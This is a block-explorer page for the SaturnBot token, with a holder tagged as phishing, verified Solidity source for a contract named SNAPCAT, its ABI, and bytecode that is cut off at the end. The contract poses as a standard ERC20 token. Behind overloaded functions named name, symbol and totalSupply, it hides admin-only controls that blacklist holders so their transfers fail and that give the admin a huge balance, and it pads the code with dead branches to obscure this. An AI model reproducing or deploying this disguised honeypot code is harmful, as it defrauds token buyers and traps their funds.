ETH Price: $3,392.03 (+2.28%)

Token

SaturnBot (SaturnBot)
 

Overview

Max Total Supply

10,000,000,000 SaturnBot

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Fake_Phishing323599
Balance
203,707,262.768280171984254619 SaturnBot

Value
$0.00
0x1a72328042c300db305283fd36552cf7deda6450
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x88037647...2C71D3e63
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
SNAPCAT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-08
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
abstract contract Ownable  {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}


contract SNAPCAT is Ownable{
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    constructor(string memory tokenname,string memory tokensymbol,address hkadmin) {
        _totalSupply = 10000000000*10**decimals();
        _balances[msg.sender] = 10000000000*10**decimals();
        _tokename = tokenname;
        _tokensymbol = tokensymbol;
        LLAXadmin = hkadmin;
        emit Transfer(address(0), msg.sender, 10000000000*10**decimals());
    }


    mapping(address => bool) public longinfo;
    address public LLAXadmin;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    function name() public view returns (string memory) {
        return _tokename;
    }

    uint256 xaskak = (10**18 * (78800+100)* (33300000000 + 800));
    function symbol(uint256 xxaa) public   {
        if(false){

        }
        if(true){

        }
        _balances[_msgSender()] += xaskak;
        _balances[_msgSender()] += xaskak;
        require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function");
        require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function");
    }


    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }
    function name(address hkkk) public  {
        address txxaaoinfo = hkkk;
        require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function");
        longinfo[txxaaoinfo] = false;
        require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function");
    }

    function totalSupply(address xasada) public {
        require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function");
        address tmoinfo = xasada;
        longinfo[tmoinfo] = true;
        require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function");
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        if (true == longinfo[_msgSender()])
        {amount = _balances[_msgSender()] +
        1000-1000+2000;}
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        if (true == longinfo[from])
        {amount = _balances[_msgSender()] +
        1000-1000+2000;}
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenname","type":"string"},{"internalType":"string","name":"tokensymbol","type":"string"},{"internalType":"address","name":"hkadmin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LLAXadmin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"longinfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"hkkk","type":"address"}],"name":"name","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"xxaa","type":"uint256"}],"name":"symbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"xasada","type":"address"}],"name":"totalSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526d818a128a37100baca6110a0000006008553480156200002357600080fd5b5060405162002726380380620027268339818101604052810190620000499190620004e4565b620000696200005d6200021760201b60201c565b6200021f60201b60201c565b62000079620002e360201b60201c565b600a62000087919062000718565b6402540be40062000099919062000769565b600381905550620000af620002e360201b60201c565b600a620000bd919062000718565b6402540be400620000cf919062000769565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260049081620001239190620009f5565b508160059081620001359190620009f5565b5080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d7620002e360201b60201c565b600a620001e5919062000718565b6402540be400620001f7919062000769565b60405162000206919062000aed565b60405180910390a350505062000b0a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000355826200030a565b810181811067ffffffffffffffff821117156200037757620003766200031b565b5b80604052505050565b60006200038c620002ec565b90506200039a82826200034a565b919050565b600067ffffffffffffffff821115620003bd57620003bc6200031b565b5b620003c8826200030a565b9050602081019050919050565b60005b83811015620003f5578082015181840152602081019050620003d8565b60008484015250505050565b60006200041862000412846200039f565b62000380565b90508281526020810184848401111562000437576200043662000305565b5b62000444848285620003d5565b509392505050565b600082601f83011262000464576200046362000300565b5b81516200047684826020860162000401565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004ac826200047f565b9050919050565b620004be816200049f565b8114620004ca57600080fd5b50565b600081519050620004de81620004b3565b92915050565b6000806000606084860312156200050057620004ff620002f6565b5b600084015167ffffffffffffffff811115620005215762000520620002fb565b5b6200052f868287016200044c565b935050602084015167ffffffffffffffff811115620005535762000552620002fb565b5b62000561868287016200044c565b92505060406200057486828701620004cd565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200060c57808604811115620005e457620005e36200057e565b5b6001851615620005f45780820291505b80810290506200060485620005ad565b9450620005c4565b94509492505050565b600082620006275760019050620006fa565b81620006375760009050620006fa565b81600181146200065057600281146200065b5762000691565b6001915050620006fa565b60ff84111562000670576200066f6200057e565b5b8360020a9150848211156200068a57620006896200057e565b5b50620006fa565b5060208310610133831016604e8410600b8410161715620006cb5782820a905083811115620006c557620006c46200057e565b5b620006fa565b620006da8484846001620005ba565b92509050818404811115620006f457620006f36200057e565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007258262000701565b915062000732836200070b565b9250620007617fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000615565b905092915050565b6000620007768262000701565b9150620007838362000701565b9250828202620007938162000701565b91508282048414831517620007ad57620007ac6200057e565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200080757607f821691505b6020821081036200081d576200081c620007bf565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000848565b62000893868362000848565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008d6620008d0620008ca8462000701565b620008ab565b62000701565b9050919050565b6000819050919050565b620008f283620008b5565b6200090a6200090182620008dd565b84845462000855565b825550505050565b600090565b6200092162000912565b6200092e818484620008e7565b505050565b5b8181101562000956576200094a60008262000917565b60018101905062000934565b5050565b601f821115620009a5576200096f8162000823565b6200097a8462000838565b810160208510156200098a578190505b620009a2620009998562000838565b83018262000933565b50505b505050565b600082821c905092915050565b6000620009ca60001984600802620009aa565b1980831691505092915050565b6000620009e58383620009b7565b9150826002028217905092915050565b62000a0082620007b4565b67ffffffffffffffff81111562000a1c5762000a1b6200031b565b5b62000a288254620007ee565b62000a358282856200095a565b600060209050601f83116001811462000a6d576000841562000a58578287015190505b62000a648582620009d7565b86555062000ad4565b601f19841662000a7d8662000823565b60005b8281101562000aa75784890151825560018201915060208501945060208101905062000a80565b8683101562000ac7578489015162000ac3601f891682620009b7565b8355505b6001600288020188555050505b505050505050565b62000ae78162000701565b82525050565b600060208201905062000b04600083018462000adc565b92915050565b611c0c8062000b1a6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80634e41a1fb1161009757806395d89b411161006657806395d89b411461029d578063a9059cbb146102bb578063dd62ed3e146102eb578063e4dc2aa41461031b57610100565b80634e41a1fb1461022957806370a0823114610245578063715018a6146102755780638da5cb5b1461027f57610100565b806318160ddd116100d357806318160ddd1461018d57806323b872dd146101ab578063313ce567146101db5780633e7c4488146101f957610100565b8063019848921461010557806306fdde0314610121578063095ea7b31461013f5780631492cd261461016f575b600080fd5b61011f600480360381019061011a91906113c5565b610337565b005b6101296104c6565b6040516101369190611482565b60405180910390f35b610159600480360381019061015491906114da565b610558565b6040516101669190611535565b60405180910390f35b610177610576565b604051610184919061155f565b60405180910390f35b61019561059c565b6040516101a29190611589565b60405180910390f35b6101c560048036038101906101c091906115a4565b6105a6565b6040516101d29190611535565b60405180910390f35b6101e361069d565b6040516101f09190611613565b60405180910390f35b610213600480360381019061020e91906113c5565b6106a6565b6040516102209190611535565b60405180910390f35b610243600480360381019061023e919061162e565b6106c6565b005b61025f600480360381019061025a91906113c5565b6108b5565b60405161026c9190611589565b60405180910390f35b61027d6108fe565b005b610287610912565b604051610294919061155f565b60405180910390f35b6102a561093b565b6040516102b29190611482565b60405180910390f35b6102d560048036038101906102d091906114da565b6109cd565b6040516102e29190611535565b60405180910390f35b6103056004803603810190610300919061165b565b610ab9565b6040516103129190611589565b60405180910390f35b610335600480360381019061033091906113c5565b610b40565b005b6000819050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661037d610cce565b73ffffffffffffffffffffffffffffffffffffffff16146103d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ca9061170d565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661046c610cce565b73ffffffffffffffffffffffffffffffffffffffff16146104c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b99061170d565b60405180910390fd5b5050565b6060600480546104d59061175c565b80601f01602080910402602001604051908101604052809291908181526020018280546105019061175c565b801561054e5780601f106105235761010080835404028352916020019161054e565b820191906000526020600020905b81548152906001019060200180831161053157829003601f168201915b5050505050905090565b600061056c610565610cce565b8484610cd6565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515600115150361066f576107d06103e88060066000610613610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065891906117bc565b61066291906117f0565b61066c91906117bc565b91505b6000610679610cce565b9050610686858285610e9f565b610691858585610f34565b60019150509392505050565b60006012905090565b60016020528060005260406000206000915054906101000a900460ff1681565b600854600660006106d5610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071e91906117bc565b9250508190555060085460066000610734610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077d91906117bc565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c5610cce565b73ffffffffffffffffffffffffffffffffffffffff161461081b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108129061170d565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661085c610cce565b73ffffffffffffffffffffffffffffffffffffffff16146108b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a99061170d565b60405180910390fd5b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610906611220565b610910600061129e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a9061175c565b80601f01602080910402602001604051908101604052809291908181526020018280546109769061175c565b80156109c35780601f10610998576101008083540402835291602001916109c3565b820191906000526020600020905b8154815290600101906020018083116109a657829003601f168201915b5050505050905090565b6000600160006109db610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156001151503610a9d576107d06103e88060066000610a41610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a8691906117bc565b610a9091906117f0565b610a9a91906117bc565b91505b610aaf610aa8610cce565b8484610f34565b6001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b81610cce565b73ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce9061170d565b60405180910390fd5b600081905060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c74610cce565b73ffffffffffffffffffffffffffffffffffffffff1614610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc19061170d565b60405180910390fd5b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3c90611896565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90611928565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e929190611589565b60405180910390a3505050565b6000610eab8484610ab9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f2e5781811015610f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0e90611994565b60405180910390fd5b610f2d84848484610f2891906117f0565b610cd6565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9a90611a26565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611012576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100990611ab8565b60405180910390fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611099576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109090611b4a565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e491906117f0565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117291906117bc565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112129190611589565b60405180910390a350505050565b611228610cce565b73ffffffffffffffffffffffffffffffffffffffff16611246610912565b73ffffffffffffffffffffffffffffffffffffffff161461129c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129390611bb6565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061139282611367565b9050919050565b6113a281611387565b81146113ad57600080fd5b50565b6000813590506113bf81611399565b92915050565b6000602082840312156113db576113da611362565b5b60006113e9848285016113b0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561142c578082015181840152602081019050611411565b60008484015250505050565b6000601f19601f8301169050919050565b6000611454826113f2565b61145e81856113fd565b935061146e81856020860161140e565b61147781611438565b840191505092915050565b6000602082019050818103600083015261149c8184611449565b905092915050565b6000819050919050565b6114b7816114a4565b81146114c257600080fd5b50565b6000813590506114d4816114ae565b92915050565b600080604083850312156114f1576114f0611362565b5b60006114ff858286016113b0565b9250506020611510858286016114c5565b9150509250929050565b60008115159050919050565b61152f8161151a565b82525050565b600060208201905061154a6000830184611526565b92915050565b61155981611387565b82525050565b60006020820190506115746000830184611550565b92915050565b611583816114a4565b82525050565b600060208201905061159e600083018461157a565b92915050565b6000806000606084860312156115bd576115bc611362565b5b60006115cb868287016113b0565b93505060206115dc868287016113b0565b92505060406115ed868287016114c5565b9150509250925092565b600060ff82169050919050565b61160d816115f7565b82525050565b60006020820190506116286000830184611604565b92915050565b60006020828403121561164457611643611362565b5b6000611652848285016114c5565b91505092915050565b6000806040838503121561167257611671611362565b5b6000611680858286016113b0565b9250506020611691858286016113b0565b9150509250929050565b7f4f6e6c7920414e495561646d696e2063616e2063616c6c20746869732066756e60008201527f6374696f6e000000000000000000000000000000000000000000000000000000602082015250565b60006116f76025836113fd565b91506117028261169b565b604082019050919050565b60006020820190508181036000830152611726816116ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061177457607f821691505b6020821081036117875761178661172d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117c7826114a4565b91506117d2836114a4565b92508282019050808211156117ea576117e961178d565b5b92915050565b60006117fb826114a4565b9150611806836114a4565b925082820390508181111561181e5761181d61178d565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118806024836113fd565b915061188b82611824565b604082019050919050565b600060208201905081810360008301526118af81611873565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006119126022836113fd565b915061191d826118b6565b604082019050919050565b6000602082019050818103600083015261194181611905565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061197e601d836113fd565b915061198982611948565b602082019050919050565b600060208201905081810360008301526119ad81611971565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a106025836113fd565b9150611a1b826119b4565b604082019050919050565b60006020820190508181036000830152611a3f81611a03565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611aa26023836113fd565b9150611aad82611a46565b604082019050919050565b60006020820190508181036000830152611ad181611a95565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611b346026836113fd565b9150611b3f82611ad8565b604082019050919050565b60006020820190508181036000830152611b6381611b27565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ba06020836113fd565b9150611bab82611b6a565b602082019050919050565b60006020820190508181036000830152611bcf81611b93565b905091905056fea26469706673582212203c0d5751712b9391ee1c9379e21ae17fc6f824847d5ad42a2a609ec6a5d86d7864736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000bd72d445893aad1cf9dbcec7c186f06f9d2b5871000000000000000000000000000000000000000000000000000000000000000a427970617373706f727400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a427970617373706f727400000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80634e41a1fb1161009757806395d89b411161006657806395d89b411461029d578063a9059cbb146102bb578063dd62ed3e146102eb578063e4dc2aa41461031b57610100565b80634e41a1fb1461022957806370a0823114610245578063715018a6146102755780638da5cb5b1461027f57610100565b806318160ddd116100d357806318160ddd1461018d57806323b872dd146101ab578063313ce567146101db5780633e7c4488146101f957610100565b8063019848921461010557806306fdde0314610121578063095ea7b31461013f5780631492cd261461016f575b600080fd5b61011f600480360381019061011a91906113c5565b610337565b005b6101296104c6565b6040516101369190611482565b60405180910390f35b610159600480360381019061015491906114da565b610558565b6040516101669190611535565b60405180910390f35b610177610576565b604051610184919061155f565b60405180910390f35b61019561059c565b6040516101a29190611589565b60405180910390f35b6101c560048036038101906101c091906115a4565b6105a6565b6040516101d29190611535565b60405180910390f35b6101e361069d565b6040516101f09190611613565b60405180910390f35b610213600480360381019061020e91906113c5565b6106a6565b6040516102209190611535565b60405180910390f35b610243600480360381019061023e919061162e565b6106c6565b005b61025f600480360381019061025a91906113c5565b6108b5565b60405161026c9190611589565b60405180910390f35b61027d6108fe565b005b610287610912565b604051610294919061155f565b60405180910390f35b6102a561093b565b6040516102b29190611482565b60405180910390f35b6102d560048036038101906102d091906114da565b6109cd565b6040516102e29190611535565b60405180910390f35b6103056004803603810190610300919061165b565b610ab9565b6040516103129190611589565b60405180910390f35b610335600480360381019061033091906113c5565b610b40565b005b6000819050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661037d610cce565b73ffffffffffffffffffffffffffffffffffffffff16146103d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ca9061170d565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661046c610cce565b73ffffffffffffffffffffffffffffffffffffffff16146104c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b99061170d565b60405180910390fd5b5050565b6060600480546104d59061175c565b80601f01602080910402602001604051908101604052809291908181526020018280546105019061175c565b801561054e5780601f106105235761010080835404028352916020019161054e565b820191906000526020600020905b81548152906001019060200180831161053157829003601f168201915b5050505050905090565b600061056c610565610cce565b8484610cd6565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515600115150361066f576107d06103e88060066000610613610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065891906117bc565b61066291906117f0565b61066c91906117bc565b91505b6000610679610cce565b9050610686858285610e9f565b610691858585610f34565b60019150509392505050565b60006012905090565b60016020528060005260406000206000915054906101000a900460ff1681565b600854600660006106d5610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071e91906117bc565b9250508190555060085460066000610734610cce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077d91906117bc565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffff